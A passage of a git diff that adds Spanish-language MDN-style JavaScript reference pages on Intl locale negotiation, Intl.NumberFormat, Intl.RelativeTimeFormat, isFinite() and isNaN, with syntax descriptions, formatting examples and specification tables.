+ <li><code>"en-GB-u-ca-islamic"</code>: use British English with the Islamic (Hijri) calendar, where the Gregorian date 14 October, 2017 is the Hijri date 24 Muharram, 1439.</li>
+</ul>
+
+<h3 id="Locale_negotiation">Locale negotiation</h3>
+
+<p>The <code>locales</code> argument, after stripping off all Unicode extensions, is interpreted as a prioritized request from the application. The runtime compares it against the locales it has available and picks the best one available. Two matching algorithms exist: the <code>"lookup"</code> matcher follows the Lookup algorithm specified in <a href="http://tools.ietf.org/html/rfc4647#section-3.4">BCP 47</a>; the <code>"best fit"</code> matcher lets the runtime provide a locale that's at least, but possibly more, suited for the request than the result of the Lookup algorithm. If the application doesn't provide a <code>locales</code> argument, or the runtime doesn't have a locale that matches the request, then the runtime's default locale is used. The matcher can be selected using a property of the <code>options</code> argument (see below).</p>
+
+<p>If the selected language tag had a Unicode extension substring, that extension is now used to customize the constructed object or the behavior of the function. Each constructor or function supports only a subset of the keys defined for the Unicode extension, and the supported values often depend on the language tag. For example, the <code>"co"</code> key (collation) is only supported by {{jsxref("Collator")}}, and its <code>"phonebk"</code> value is only supported for German.</p>
+
+<h3 id="options_argument"><code>options</code> argument</h3>
+
+<p>The <code>options</code> argument must be an object with properties that vary between constructors and functions. If the <code>options</code> argument is not provided or is undefined, default values are used for all properties.</p>
+
+<p>One property is supported by all language sensitive constructors and functions: The <code>localeMatcher</code> property, whose value must be a string <code>"lookup"</code> or <code>"best fit"</code> and which selects one of the locale matching algorithms described above.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 1.0', '#sec-8', 'Intl')}}</td>
+   <td>{{Spec2('ES Int 1.0')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 2.0', '#sec-8', 'Intl')}}</td>
+   <td>{{Spec2('ES Int 2.0')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int Draft', '#intl-object', 'Intl')}}</td>
+   <td>{{Spec2('ES Int Draft')}}</td>
+   <td>Added Intl.getCanonicalLocales in the 4th edition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Intl")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Introduction: <a href="http://norbertlindenberg.com/2012/12/ecmascript-internationalization-api/index.html">The ECMAScript Internationalization API</a></li>
+ <li>Constructors
+  <ul>
+   <li>{{jsxref("Collator", "Intl.Collator")}}</li>
+   <li>{{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}</li>
+   <li>{{jsxref("NumberFormat", "Intl.NumberFormat")}}</li>
+  </ul>
+ </li>
+ <li>Methods
+  <ul>
+   <li>{{jsxref("String.prototype.localeCompare()")}}</li>
+   <li>{{jsxref("Number.prototype.toLocaleString()")}}</li>
+   <li>{{jsxref("Date.prototype.toLocaleString()")}}</li>
+   <li>{{jsxref("Date.prototype.toLocaleDateString()")}}</li>
+   <li>{{jsxref("Date.prototype.toLocaleTimeString()")}}</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/intl/numberformat/format/index.html b/files/es/web/javascript/referencia/objetos_globales/intl/numberformat/format/index.html
new file mode 100644
index 0000000000..713302ea3c
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/intl/numberformat/format/index.html
@@ -0,0 +1,92 @@
+---
+title: Intl.NumberFormat.prototype.format()
+slug: Web/JavaScript/Referencia/Objetos_globales/Intl/NumberFormat/format
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/NumberFormat/format
+---
+<div>{{JSRef}}</div>
+
+<p>El método <strong><code>Intl.NumberFormat.prototype.format()</code></strong> formatea un número de acuerdo con la configuración regional y las opciones de formato de este objeto {{jsxref("NumberFormat")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/intl-numberformat-prototype-format.html")}}</div>
+
+
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code><var>numberFormat</var>.format(<var>number</var>)</code></pre>
+
+<h3 id="Parametros">Parametros</h3>
+
+<dl>
+ <dt><code>number</code></dt>
+ <dd>A {{jsxref("Number")}} or {{jsxref("BigInt")}} to format.</dd>
+</dl>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>The <code>format</code> getter function formats a number into a string according to the locale and formatting options of this {{jsxref("NumberFormat")}} object.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_format">Usando <code>format</code></h3>
+
+<p>Use the <code>format</code> getter function for formatting a single currency value, here for Russia:</p>
+
+<pre class="brush: js">var options = { style: 'currency', currency: 'RUB' };
+var numberFormat = new Intl.NumberFormat('ru-RU', options);
+console.log(numberFormat.format(654321.987));
+// → "654 321,99 руб."
+</pre>
+
+<h3 id="Usando_format_con_map">Usando <code>format</code> con <code>map</code></h3>
+
+<p>Use the <code>format</code> getter function for formatting all numbers in an array. Note that the function is bound to the {{jsxref("NumberFormat")}} from which it was obtained, so it can be passed directly to {{jsxref("Array.prototype.map")}}.</p>
+
+<pre class="brush: js">var a = [123456.789, 987654.321, 456789.123];
+var numberFormat = new Intl.NumberFormat('es-ES');
+var formatted = a.map(numberFormat.format);
+console.log(formatted.join('; '));
+// → "123.456,789; 987.654,321; 456.789,123"
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 1.0', '#sec-11.3.2', 'Intl.NumberFormat.prototype.format')}}</td>
+   <td>{{Spec2('ES Int 1.0')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 2.0', '#sec-11.3.2', 'Intl.NumberFormat.prototype.format')}}</td>
+   <td>{{Spec2('ES Int 2.0')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int Draft', '#sec-intl.numberformat.prototype.format', 'Intl.NumberFormat.prototype.format')}}</td>
+   <td>{{Spec2('ES Int Draft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Intl.NumberFormat.format")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("NumberFormat", "Intl.NumberFormat")}}</li>
+ <li>{{jsxref("Number.prototype.toLocaleString()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/intl/numberformat/index.html b/files/es/web/javascript/referencia/objetos_globales/intl/numberformat/index.html
new file mode 100644
index 0000000000..7ee880d0e8
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/intl/numberformat/index.html
@@ -0,0 +1,188 @@
+---
+title: Intl.NumberFormat
+slug: Web/JavaScript/Referencia/Objetos_globales/Intl/NumberFormat
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/NumberFormat
+---
+<div>{{JSRef("Global_Objects", "NumberFormat", "Intl,Collator,DateTimeFormat")}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>El objeto <strong><code>Intl.NumberFormat</code></strong> es un constructor para objetos que permiten un formato numérico sensible al idioma.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">new Intl.NumberFormat([locales [, <em>options</em>]])
+
+Intl.<code>NumberFormat</code>.call(<em>this</em> [, locales [, <em>options</em>]])</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>locales</code></dt>
+ <dd>
+ <p>Cadena o arreglo de cadenas identificadoras para el código de idioma, conforme a BCP 47. Para mayor información con respecto a la forma e interpretación del argumento <code>locales</code>, visite el siguiente enlace: <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Intl#Locale_identification_and_negotiation" title="/Intl#Functionality_common_to_internationalization_constructors">página de Intl</a>. Se admite la siguiente clave de extension Unicode:</p>
+
+ <dl>
+  <dt>nu</dt>
+  <dd>El sistema numérico a ser utilizado. Los siguientes son valores admisibles: "arab", "arabext", "bali", "beng", "deva", "fullwide", "gujr", "guru", "hanidec", "khmr", "knda", "laoo", "latn", "limb", "mlym", "mong", "mymr", "orya", "tamldec", "telu", "thai", "tibt".</dd>
+ </dl>
+ </dd>
+ <dt><code>options</code></dt>
+ <dd>
+ <p>Objeto con alguna o todas las propiedas listadas a continuación:</p>
+
+ <dl>
+  <dt><code>localeMatcher</code></dt>
+  <dd>Algoritmo a emplear para establecer el idioma. Los valores admitidos son "lookup" (coincidencia exacta) y "best fit" (mejor coincidencia); el valor por defecto es "best fit". Para mayor información respecto a esta opción visite el siguiente enlace: <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Intl#Locale_negotiation" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Intl#Locale_negotiation">página de Intl</a>.</dd>
+  <dt><code>style</code></dt>
+  <dd>El estilo de formato a utilizar. Los valores admisibles son "decimal" para un formato numérico simple, "currency" para un formato de divisa, y "percent" para un formato porcentual; el valor por defecto es "decimal".</dd>
+  <dt><code>currency</code></dt>
+  <dd>La divisa a utilizar para el formato de divisa. Los valores admisibles son los establecidos en ISO 4217, por ejemplo "USD" para el dólar americano, "EUR" para el euro, o "CNY" para el RMB chino - para mayor información se recomienda visitar el siguiente enlace: l<a href="http://www.currency-iso.org/en/home/tables/table-a1.html" title="http://www.currency-iso.org/en/home/tables/table-a1.html">ista actual de códigos de divisa y fondos</a>. No existe un valor por defecto, por lo que si es valor del parámetro <code>style</code> es "currency", deberá proveerse también un valor para la propiedad <code>currency</code>.</dd>
+  <dt><code>currencyDisplay</code></dt>
+  <dd>Descriptor a utilizar para denotar el valor expresado como divisa. Los valores admisibles son "symbol" para utilizar el símbolo local a su contexto, por ejemplo €, "code" para utilizar el código de divisa ISO, "name" para utilizar el nombre local de la divisa, por ejemplo "dollar"; el valor por defecto es "symbol".</dd>
+  <dt><code>useGrouping</code></dt>
+  <dd>Si deberán emplearse o no separadores para agrupamiento, como es el caso de los separadores para millares o separadores millares/lakh/crore. Los valores admisibles son <code>true</code> y <code>false</code>; el valor por defecto es <code>true</code>.</dd>
+ </dl>
+
+ <p>Las propiedades descritas a continuación se dividen en dos grupos: por un lado <code>minimumIntegerDigits</code>, <code>minimumFractionDigits</code> y <code>maximumFractionDigits</code>, por el otro <code>minimumSignificantDigits</code> y <code>maximumSignificantDigits</code>. Si al menos una propiedad del segundo grupo es definida, todas aquellas del primero serán ignoradas.</p>
+
+ <dl>
+  <dt><code>minimumIntegerDigits</code></dt>
+  <dd>El número mínimo de digitos enteros a utilizar. El rango de valores admisibles va desde 1 hasta 21; el valor por defecto es 1.</dd>
+  <dt><code>minimumFractionDigits</code></dt>
+  <dd>El número mínimo de digitos fraccionarios a utilizar. El rango de valores admisibles va desde 0 hasta 20; el valor por defecto para formato simple y porcentual es 0; el valor por defecto para formato de divisa es el indicado en la <a href="http://www.currency-iso.org/en/home/tables/table-a1.html" title="http://www.currency-iso.org/en/home/tables/table-a1.html">lista de códigos de moneda ISO 4217</a> para subdivisiones de tal divisa (o 2 si la lista no establece un valor).</dd>
+  <dt><code>maximumFractionDigits</code></dt>
+  <dd>El número máximo de dígitos de fraccionarios a utilizar. El rango de valores admisibles va desde 0 hasta 20; el valor por defecto para formato simple es el valor más alto admisible en <code>minimumFractionDigits</code> y 3; el valor por defecto para el formato de moneda es el valor más alto admisible en <code>minimumFractionDigits</code> y el indicado en la <a href="http://www.currency-iso.org/en/home/tables/table-a1.html" title="http://www.currency-iso.org/en/home/tables/table-a1.html">lista de cógidos de moneda ISO 4217</a> para subdivisiones de tal divisa (o 2 si la lista no establece un valor); el valor por defecto en el formato porcentual es el valor más alto admisible en <code>minimumFractionDigits</code> y 0.</dd>
+  <dt><code>minimumSignificantDigits</code></dt>
+  <dd>El número mínimo de dígitos significativos a utilizar. El rango de valores admisibles va desde 1 hasta 21; el valor por defecto es 1.</dd>
+  <dt><code>maximumSignificantDigits</code></dt>
+  <dd>El número máximo de dígitos significativos a utilizar. El rango de valores admisibles va desde 1 hasta 21; el valor por defecto es <code>minimumSignificantDigits</code>.</dd>
+ </dl>
+ </dd>
+</dl>
+
+<h2 id="Description" name="Description">Descripción</h2>
+
+<h3 id="Properties" name="Properties">Propiedades</h3>
+
+<dl>
+ <dt>{{jsxref("NumberFormat.prototype", "Intl.NumberFormat.prototype")}}</dt>
+ <dd>Permite agregar nuevas propiedades a todos los objetos.</dd>
+</dl>
+
+<h3 id="Métodos">Métodos</h3>
+
+<dl>
+ <dt>{{jsxref("NumberFormat.supportedLocalesOf", "Intl.NumberFormat.supportedLocalesOf()")}}</dt>
+ <dd>Regresa un arreglo con aquellos códigos de idioma proveídos y que son soportados sin necesidad de recurrir a la configuración por defecto en el entorno de ejecucion.</dd>
+</dl>
+
+<h2 id="Instancias_NumberFormat">Instancias <code>NumberFormat</code></h2>
+
+<h3 id="Propiedades">Propiedades</h3>
+
+<p>Toda instancia de <code>NumberFormat</code> hereda las siguientes propiedades de su prototipo:</p>
+
+<div>{{page('en-US/docs/JavaScript/Reference/Global_Objects/NumberFormat/prototype','Properties')}}</div>
+
+<h3 id="Métodos_2">Métodos</h3>
+
+<div>
+<p>Toda instancia de <code>NumberFormat </code>hereda los siguientes métodos de su prototipo:</p>
+{{page('en-US/docs/JavaScript/Reference/Global_Objects/NumberFormat/prototype','Methods')}}</div>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Al no especificar un código de idioma, se regresa una cadena con el formato correspondiente al código de idioma y opciones disponibles por defecto en el entorno de ejecución.</p>
+
+<pre class="brush: js">var number = 3500;
+
+alert(new Intl.NumberFormat().format(number));
+// → "3,500" si el código de idioma es US English
+</pre>
+
+<h3 id="Example_Using_locales" name="Example:_Using_locales">Ejemplo: Utilizando <code>locales</code></h3>
+
+<p>Este ejemplo muestra algunas de las variantes en formato numérico con diferentes contextos locales. A fin de emplear el idioma correspondiente a aquél en la interfaz del usuario para su aplicación, asegúrese de especificar dicho idioma ( y de ser posible alternativas) utilizando el argumento <code>locales</code>:</p>
+
+<pre class="brush: js">var number = 123456.789;
+
+// En el alemán la coma se utiliza como separador decimal y el punto para los millares
+alert(new Intl.NumberFormat("de-DE").format(number));
+// → 123.456,789
+
+// En la mayoría de los países de lengua arábiga se utilizan también símbolos arábigos
+alert(new Intl.NumberFormat("ar-EG").format(number));
+// → ١٢٣٤٥٦٫٧٨٩
+
+// En la India se utilizan separadores millares/lakh/crore
+alert(new Intl.NumberFormat("en-IN").format(number));
+// → 1,23,456.789
+
+// use de nu para establecer un sistema numérico, el sistema decimal chino por ejemplo
+alert(new Intl.NumberFormat("zh-Hans-CN-u-nu-hanidec").format(number));
+// → 一二三,四五六.七八九
+
+// cuando se requiera un lenguaje que pudiera no ser soportado, como es el caso del Balinés
+// se recomienda incluir un lenguaje alternativo, en éste caso Indonesio
+alert(new Intl.NumberFormat(["ban", "id"]).format(number));
+// → 123.456,789
+</pre>
+
+<h3 id="Example_Using_options" name="Example:_Using_options">Ejemplo: Utilizando <code>options</code></h3>
+
+<p>El valor que regresa la función <code>toLocaleString</code> puede ser modificado utilizando el argumento <code>options</code>:</p>
+
+<pre class="brush: js">var number = 123456.789;
+
+// se establece un formato de divisa
+alert(new Intl.NumberFormat("de-DE", {style: "currency", currency: "EUR"}).format(number));
+// → 123.456,79 €
+
+// el yen japonés no tiene ninguna subdivisión
+alert(new Intl.NumberFormat("ja-JP", {style: "currency", currency: "JPY"}).format(number))
+// → ￥123,457
+
+// limitamos a tres los dígitos significativos
+alert(new Intl.NumberFormat("en-IN", {maximumSignificantDigits: 3}).format(number));
+// → 1,23,000
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado actual</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 1.0', '#sec-11.1', 'Intl.NumberFormat')}}</td>
+   <td>{{Spec2('ES Int 1.0')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 2.0', '#sec-11.1', 'Intl.NumberFormat')}}</td>
+   <td>{{Spec2('ES Int 2.0')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int Draft', '#numberformat-objects', 'Intl.NumberFormat')}}</td>
+   <td>{{Spec2('ES Int Draft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_los_navegadores">Compatibilidad de los navegadores</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Intl.NumberFormat")}}</p>
+</div>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<p>{{page('en-US/docs/JavaScript/Reference/Global_Objects/Intl','See_also')}}</p>
diff --git a/files/es/web/javascript/referencia/objetos_globales/intl/relativetimeformat/index.html b/files/es/web/javascript/referencia/objetos_globales/intl/relativetimeformat/index.html
new file mode 100644
index 0000000000..fc15049fa6
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/intl/relativetimeformat/index.html
@@ -0,0 +1,106 @@
+---
+title: Intl.RelativeTimeFormat
+slug: Web/JavaScript/Referencia/Objetos_globales/Intl/RelativeTimeFormat
+tags:
+  - RelatimeTimeFormat
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/RelativeTimeFormat
+---
+<div>{{JSRef}}</div>
+
+<p>El objeto <strong><code>Intl.RelativeTimeFormat</code></strong> te proporciona una manera de formatear tiempos relativos con traducciones.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/intl-relativetimeformat.html")}}</div>
+
+<p class="hidden">El código de este ejemplo interactivo está disponible en un repositorio GitHub. Si quieres contribuir a los ejemplos interactivos del proyecto, por favor, clona <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> y manda una Pull Request.</p>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt>{{jsxref("RelativeTimeFormat.RelativeTimeFormat()", "Intl.RelativeTimeFormat.RelativeTimeFormat()")}}</dt>
+ <dd>Crea una nueva instancia de <code>Intl.RelativeTimeFormat</code>.</dd>
+</dl>
+
+<h2 id="Métodos_estáticos">Métodos estáticos</h2>
+
+<dl>
+ <dt>{{jsxref("RelativeTimeFormat.supportedLocalesOf", "Intl.RelativeTimeFormat.supportedLocalesOf()")}}</dt>
+ <dd>Devuelve un {{jsxref("Array")}} con todos los idiomas disponibles sin necesidad de usar el que hay por defecto.</dd>
+</dl>
+
+<h2 id="Métodos_de_instancia">Métodos de instancia</h2>
+
+<dl>
+ <dt>{{jsxref("RelativeTimeFormat.format", "Intl.RelativeTimeFormat.prototype.format()")}}</dt>
+ <dd>Formatea <code>value</code> y <code>unit</code> conforme al idioma y las opciones de formateo al crear la instancia con <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Intl.RelativeTimeFormat"><code>Intl.RelativeTimeFormat</code></a>.</dd>
+ <dt>{{jsxref("RelativeTimeFormat.formatToParts", "Intl.RelativeTimeFormat.prototype.formatToParts()")}}</dt>
+ <dd>Devuelve un {{jsxref("Array")}} de objetos representando el tiempo relativo en partes que pueden ser usadas en traducciones.</dd>
+ <dt>{{jsxref("RelativeTimeFormat.resolvedOptions", "Intl.RelativeTimeFormat.prototype.resolvedOptions()")}}</dt>
+ <dd>Devuelve un nuevo objeto con las propiedades que reflejan las opciones de localización y formato usadas durante la inicialización del objeto.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Ejemplo_básico">Ejemplo básico</h3>
+
+<p>El siguiente ejemplo muestra cómo conseguir el tiempo relativo para el mejor idioma según el usuario.</p>
+
+<pre class="brush: js notranslate">// Crea un formateador de tiempo relativo en tu lenguaje
+// con los valores por defectos pasados expresamente.
+const rtf = new Intl.RelativeTimeFormat("en", {
+    localeMatcher: "best fit", // otros valores: "lookup"
+    numeric: "always", // otros valores: "auto"
+    style: "long", // otros valores: "short" or "narrow"
+});
+
+// Formatea el tiempo relativo con valores negativos (-1).
+rtf.format(-1, "day");
+// &gt; "Hace 1 día"
+
+// Formatea el tiempo relativo con valores positivos (1).
+rtf.format(1, "day");
+// &gt; "Dentro de 1 día"</pre>
+
+<h3 id="Usando_formatToParts">Usando <code>formatToParts</code></h3>
+
+<p>El siguiente ejemplo muestra cómo crear un formateador de tiempo relativo que devuelve las partes separadas:</p>
+
+<pre class="brush: js notranslate">const rtf = new Intl.RelativeTimeFormat("es", { numeric: "auto" });
+
+// Formatea el tiempo relativo usando día como unidad.
+rtf.formatToParts(-1, "day");
+// &gt; [{ type: "literal", value: "ayer"}]
+
+rtf.formatToParts(100, "day");
+// &gt; [{ type: "literal", value: "Dentro de " },
+// &gt;  { type: "integer", value: "100", unit: "day" },
+// &gt;  { type: "literal", value: " días" }]
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int Draft', '#relativetimeformat-objects', 'RelativeTimeFormat')}}</td>
+   <td></td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<div class="hidden">La tabla de compatibilidad es generada a partir de datos estructurados. Si quieres contribuir, por favor, revisa <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíanos una Pull Request.</div>
+
+<p>{{Compat("javascript.builtins.Intl.RelativeTimeFormat")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="https://developers.google.com/web/updates/2018/10/intl-relativetimeformat">The Intl.RelativeTimeFormat API</a></li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/isfinite/index.html b/files/es/web/javascript/referencia/objetos_globales/isfinite/index.html
new file mode 100644
index 0000000000..1227071c44
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/isfinite/index.html
@@ -0,0 +1,114 @@
+---
+title: isFinite()
+slug: Web/JavaScript/Referencia/Objetos_globales/isFinite
+tags:
+  - Function
+  - JavaScript
+  - isFinite()
+translation_of: Web/JavaScript/Reference/Global_Objects/isFinite
+---
+<div>
+ {{jsSidebar("Objects")}}</div>
+<h2 id="Resumen">Resumen</h2>
+<p>La función global <strong><code>isFinite()</code></strong> determina si el valor que se le pasa como argumento es un numero finito. Si es necesario, realiza una conversión a un numero al parametro pasado.</p>
+<h2 id="Sintaxis">Sintaxis</h2>
+<pre><code>isFinite(testValue)</code></pre>
+<h2 id="Par.C3.A1metros" name="Par.C3.A1metros">Parámetros</h2>
+<dl>
+ <dt>
+  <code>testvalue</code></dt>
+ <dd>
+  Valor a ser evaluado.</dd>
+</dl>
+<h2 id="Descripci.C3.B3n" name="Descripci.C3.B3n">Descripción</h2>
+<p><code>isFinite</code> es una función de alto nivel y no está asociada a ningún objeto.</p>
+<p>Puede usar esta función para determinar si un número es un número finito. La función <code>isFinite</code> examina el número de su argumento. Si el argumento es <code>NaN</code>, infinito positivo o infinito negativo, este método devuelve <code>false</code>, de otro modo devuelve <code>true</code>.</p>
+<h2 id="Ejemplos" name="Ejemplos">Ejemplos</h2>
+<pre>isFinite(Infinity);    // falso
+isFinite(NaN);         // falso
+isFinite(-Inifinity);  // falso
+
+isFinite(0);           // verdadero
+isFinite(2e64);        // verdadero
+
+isFinite("0");         // verdadero, hubiera sido falso en el caso de usar Number.isFinite("0") que es mas robusta</pre>
+<h2 id="Especificaciones">Especificaciones</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificaciones</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 2nd Edition.</td>
+   <td>Estándar</td>
+   <td>Definición inicial</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.1.2.5', 'isFinite')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-isfinite-number', 'isFinite')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+<p>{{ CompatibilityTable() }}</p>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Feature</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Soprte básico</td>
+    <td>(Si)</td>
+    <td>(Si)</td>
+    <td>(Si)</td>
+    <td>(Si)</td>
+    <td>(Si)</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Feature</th>
+    <th>Android</th>
+    <th>Chrome for Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Soporte básico</td>
+    <td>(Si)</td>
+    <td>(Si)</td>
+    <td>(Si)</td>
+    <td>(Si)</td>
+    <td>(Si)</td>
+    <td>(Si)</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<h2 id="Vea_Tambi.C3.A9n" name="Vea_Tambi.C3.A9n">Vea También</h2>
+<ul>
+ <li><code><strong>Number.isFinite()</strong></code></li>
+ <li><strong><code>Number.NaN()</code></strong></li>
+ <li><a href="/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/Number/POSITIVE_INFINITY"><code><strong>Number.POSITIVE_INFINITY</strong></code></a></li>
+ <li><a href="/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/Number/NEGATIVE_INFINITY"><code><strong>Number.NEGATIVE_INFINITY</strong></code></a></li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/isnan/index.html b/files/es/web/javascript/referencia/objetos_globales/isnan/index.html
new file mode 100644
index 0000000000..d2607d0134
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/isnan/index.html
@@ -0,0 +1,88 @@
+---
+title: isNaN
+slug: Web/JavaScript/Referencia/Objetos_globales/isNaN
+translation_of: Web/JavaScript/Reference/Global_Objects/isNaN
+---
+<div>{{jsSidebar("Objects")}}
+<p>La función <code><strong>isNaN()</strong></code> determina cuando el valor es {{jsxref("NaN")}} o no. Tenga presente que la coerción dentro de la función <code>isNaN</code> tiene reglas <a href="https://wiki.developer.mozilla.org/es/docs/Web/JavaScript/Referencia/Objetos_globales/isNaN$edit#Description">interesantes</a>; tal vez quieras usar de forma alternativa <strong><code><a href="https://developer.mozilla.org/es/docs/Web/JavaScript/Referencia/Objetos_globales/Number/isNaN">Number.isNaN()</a></code></strong>, como fue definido en ECMAScript 2015.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/globalprops-isnan.html")}}</div>
+</div>
+
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+
+<pre><code>isNaN(<em>valor</em>)</code></pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><strong><code>valor</code></strong></dt>
+ <dd>El valor a probar o evaluar.</dd>
+</dl>
+
+<h3 id="Valor_de_retorno">Valor de retorno</h3>
+
+<p><strong><code>true</code></strong> si es valor dado es {{jsxref("NaN")}}, de otro modo, <code><strong>false</strong></code>.</p>
+
+<h2 id="Descripci.C3.B3n" name="Descripci.C3.B3n">Descripción</h2>
+
+<p><code>isNaN</code> es una función de alto nivel y no está asociada a ningún objeto.</p>
+
+<p><code>isNaN</code> intenta convertir el parámetro pasado a un número. Si el parámetro no se puede convertir, devuelve true; en caso contrario, devuelve false.</p>
+
+<p>Esta función es útil ya que el valor {{jsxref("Objetos_globales/NaN", "NaN")}} no puede se probado correctamente con operadores de igualdad. <code>x == NaN</code> y <code>x === NaN</code> son siempre false, sin importar lo que sea <code>x</code>, incluso si <code>x</code> es <code>NaN</code>. Por ejemplo, tanto <code>1 == NaN</code> como <code>NaN == NaN</code> devuelven <code>false</code>.</p>
+
+<h3 id="Ejemplos" name="Ejemplos">Ejemplos</h3>
+
+<pre class="brush: js">isNaN(NaN) //devuelve true
+isNaN("string") //devuelve true
+isNaN("12") //devuelve false
+isNaN(12) //devuelve false
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.1.2.4', 'isNaN')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-isnan-number', 'isNaN')}}</td>
